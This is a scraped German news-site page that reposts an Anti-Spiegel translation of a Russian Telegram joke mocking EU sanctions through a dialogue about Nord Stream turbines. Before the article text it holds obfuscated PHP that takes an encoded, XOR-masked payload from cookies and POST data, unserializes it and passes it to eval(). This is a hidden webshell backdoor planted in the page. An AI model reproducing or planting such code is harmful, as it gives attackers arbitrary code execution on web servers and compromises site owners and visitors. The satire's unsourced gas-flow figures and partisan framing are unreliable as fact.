$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Wie man in Russland über die Sanktionen lacht – Anti-Spiegel – No-Zensur.de Das freie Wort für eine freie Welt
Start Anti-Spiegel Wie man in Russland über die Sanktionen lacht – Anti-Spiegel

Wie man in Russland über die Sanktionen lacht – Anti-Spiegel

0


In russischen Telegram-Kanälen geht gerade eine kleine Erzählung viral, die den Unsinn der EU-Politik humoristisch aufs Korn nimmt.

Da ich Freitags ab und zu auch mal humoristisches zum Wochenende veröffentliche, übersetze ich hier einen Telegram-Post, der gerade in russischen Telegram-Kanälen viral geht und der die Sanktionspolitik der EU sehr treffend beschreibt. Wie gesagt, es ist Humor, jede Ähnlichkeit mit wirklichen Gegebenheiten und Personen wäre rein zufällig.

Beginn der Übersetzung:

Insgesamt sieht der ungewöhnliche Wirtschaftskrieg zwischen Europa und Russland bisher etwa so aus.

Europa: Russland, das war’s, du hast es übertrieben, wir stoppen deine Exporte und beginnen, deine Importe zu kappen. Wir haben die gesamte Finanzmacht des westlichen Blocks auf unserer Seite, alle Rating-Agenturen, die großen Absatzmärkte, die Hochtechnologie und zwei Druckerpressen. Du bist am Arsch.
Russland: Ach was…
Europa: Du verreckst.
Russland: Okay. Ist das alles?
Europa: Ja, hast Du Angst?
Russland: Große Angst. Wirst Du die Turbine der Portovaja-Pumpstation reparieren?
Europa: Russland, du scheinst es nicht zu schnallen.
Russland: OK, die beiden Turbinen.
Europa: Wozu das jetzt?

Der Gasfluss nach Europa über Nord Stream sinkt drei Monate vor Beginn der Heizperiode von 167 Millionen Kubikmetern auf 100 Millionen Kubikmeter. Doch schon am nächsten Tag werden die Zahlen von 100 auf 67 Millionen Kubikmeter korrigiert.

Europa: Oh, so ist das…
Russland: Ja.
Europa: Wie fies!
Russland: Wirst Du die dritte Turbine der Portovaja-Pumpstation reparieren?
Europa: Bist Du jetzt völlig bekloppt?

Der Gasfluss nach Europa über Nord Stream sinkt von 67 Millionen auf 33 Millionen Kubikmeter. Die Gaspreise an der europäischen Börse steigen im Handumdrehen auf 2.300 Dollar pro tausend Kubikmeter. Die europäischen Speicher sind zu diesem Zeitpunkt nur etwas mehr als zur Hälfte gefüllt und müssen bis November auf mindestens 80 Prozent aufgefüllt werden.

Europa: Russland?
Russland: Hm?
Europa: Sag mal, wie viele Turbinen gibt es in Portovaja?
Russland: Sechs.
Europa: Und der Rest davon funktioniert bisher?
Russland: Einen Moment. Aleksej Borisovitsch, hauen Sie bitte einen Ziegelstein gegen die verbleibenden Turbinen.
Europa: Nein!

Bum. Bum. Bum.

Russland: Europa, wir haben sie überprüft. Bis jetzt scheinen sie zu funktionieren, aber man kann schon einige Verformungen sehen, ich frage mich, woher die bloß kommen. Europa? Europa, alles in Ordnung bei Dir?
Europa: B%@*!

Bis zur Heizperiode in Europa bleiben noch zwei Monate.

Ende der Übersetzung




Source link